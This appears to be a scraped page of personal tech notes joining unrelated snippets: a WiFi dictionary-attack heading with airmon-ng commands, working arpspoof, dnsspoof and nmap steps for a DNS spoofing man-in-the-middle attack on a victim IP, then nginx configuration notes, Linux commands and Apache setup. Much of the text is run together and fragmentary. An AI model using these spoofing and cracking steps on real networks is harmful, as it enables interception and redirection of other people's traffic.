Chome (Web Browser) internal setting, configuration, and everything else
chrome://net-internals/#dns and press the "Clear host cache" button.
Gaining WiFi access with password dictionary attach
Post status : on going
solution: stop the wireless card, then airmon-ng start
root@local:/# airmon-ng stop wlan0 . . . root@local: airmon-ng start wlan0
Steps of DNS Spoofing and MITM Attack on WiFi. Problems and solutions found are included
# arp -a IP address HW type HW address 172.16.1.3 10Mbps Ethernet 00:00:C0:5A:42:C1 172.16.1.2 10Mbps Ethernet 00:00:C0:90:B3:42 172.16.2.4 10Mbps Ethernet 00:00:C0:04:69:AA
Install dsniff to run arpspoof
root@local:/# apt-get install dsniff
Error found when arpspoof
root@local:/# arpspoof -i wlan0 -t 192.168.1.121 192.168.1.1 arpspoof: couldn't arp for host 192.168.1.121
Solution add -i <wireless interface> parameter
root@local:/# arpspoof -t 192.168.1.121 192.168.1.1 arpspoof: couldn't arp for host 192.168.1.121
Error found below
root@local:/# dnsspoof -f /home/hosts-spoff.txt host 192.168.1.121 and udp port 53 dnsspoof: eth0: no IPv4 address assigned dnsspoof: couldn't initialize sniffing
Solution: add -i <wireless interface> parameter
root@local:/# dnsspoof -i wlan0 -f /home/hosts-spoff.txt host 192.168.1.121 and udp port 53
Scan connected devices in the network to obtain IP and MAC address
root@local:/# nmap -sP 192.168.1.0/24
cat /etc/nginx/sites-available/default
The server block configuration are : listen 80, server_name localhost. The location handler mechanism : try to handle request as file, then as directory, then fall back displaying 404 filetry_files $uri $uri/ =404)
$ sudo apt-get update $ sudo apt-get install nginx
Nginx logically divides the configurations meant to serve different content into blocks, which live in a hierarchical structure. The main blocks that we will be discussing are the server block and the location block
A server block is a subset of Nginx's configuration that defines a virtual server used to handle requests of a defined type. Often based on the requested domain name, port, and IP address.
A location block lives within a server block and is used to define how Nginx should handle requests for different resources and URIs for the parent server. Extremely flexible model.
Nginx allows to define multiple server blocks that function as separate virtual web server instances, through a defined system of checks that are used to find the best possible match.
To decide which server block will handle the request Nginx will parse listen Directive first then server_name Directive (only if needed).
Nginx default value is 0.0.0.0:80 (or 0.0.0.0:8080)
The listen directive typically defines which IP address & port that the server block will respond to. Listen directive can be set to :
192.168.0.11:8080192.168.0.11*:8080To determine which server block to send a request to, Nginx will first try to decide based on the specificity of the listen directive using the following rules:
Nginx will only evaluate the server_name directive, if server blocks has same level of specificity of listen directive.
To evaluate requests that have equally specific listen directives, Nginx checks the request's "Host" header. This value holds the domain or IP address that the client was actually trying to reach.
Nginx will find best match of server_name directive within each selected server blocks with following rules in order :
server {
listen 80;
server_name example.com;
. . .
}Location blocks live within server blocks (or other location blocks), used to decide how to process the request URI (the part of the request that comes after the domain name or IP address/port).
The location_match in the example below defines what Nginx should check the request URI against :
location optional_modifier location_match {
...
}location /site {
. . .
}location = /page1 {
. . .
}location ~ \.(jpe?g|png|gif|ico)$ {
. . .
}location ~* \.(jpe?g|png|gif|ico)$ {
. . .
}
List of commonly used (yet forgotten) Linux terminal commands:
lsb_release -a
dd if=system.img of=/dev/sdc bs=4096 conv=noerror
uname
dpkgThe primary and more user-friendly front-end for dpkg is aptitude. dpkg itself is controlled entirely via command line parameters, which consist of exactly one action and zero or more options. The action-parameter tells dpkg what to do and options control the behavior of the action in some way. dpkg can also be used as a front-end to dpkg-deb and dpkg-query. The list of supported actions is below (in the "Actions" section). If any such action is encountered dpkg just runs dpkg-deb or dpkg-query with the parameters given to it, but no specific options are currently passed to them, to use any such option the back-ends need to be called directly.
Desktop Environment : Ubuntu 12.04 LTS, Android Development Tools 22.6.3, Android Developer Tools 22.3.0.
Device : HTC Butterfly, Android 4.3 (Jelly Bean).
Note: On Android 4.2 and newer, Developer options is hidden by default. To make it available, go to Settings > About phone and tap Build number seven times. Return to the previous screen to find Developer options.
http://dev.mysql.com/downloads/workbench/5.2.ahtmlcompmgmt.msc. Select something like 'device' or 'partition'
Can't
Fixed from http://ubuntuforums.org/showthread.php?t=2035902&page=2. Download from http://linuxwireless.org/en/users/Download#Directly_downloading_the_tarball, then
yum groupinstall "Web Server"
yum install system-config-httpdSystem configuration tool then need to be ran as root :
/usr/bin/system-config-httpdor you can configure Apache server manualy :
vim /etc/httpd/conf/httpd.conf vim /etc/httpd/conf.d/README
/usr/sbin/httpd -tThe -t flag runs a syntax check on the configuration files so if there are any syntax errors there then this should help.
su -c 'yum localinstall --nogpgcheck http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm'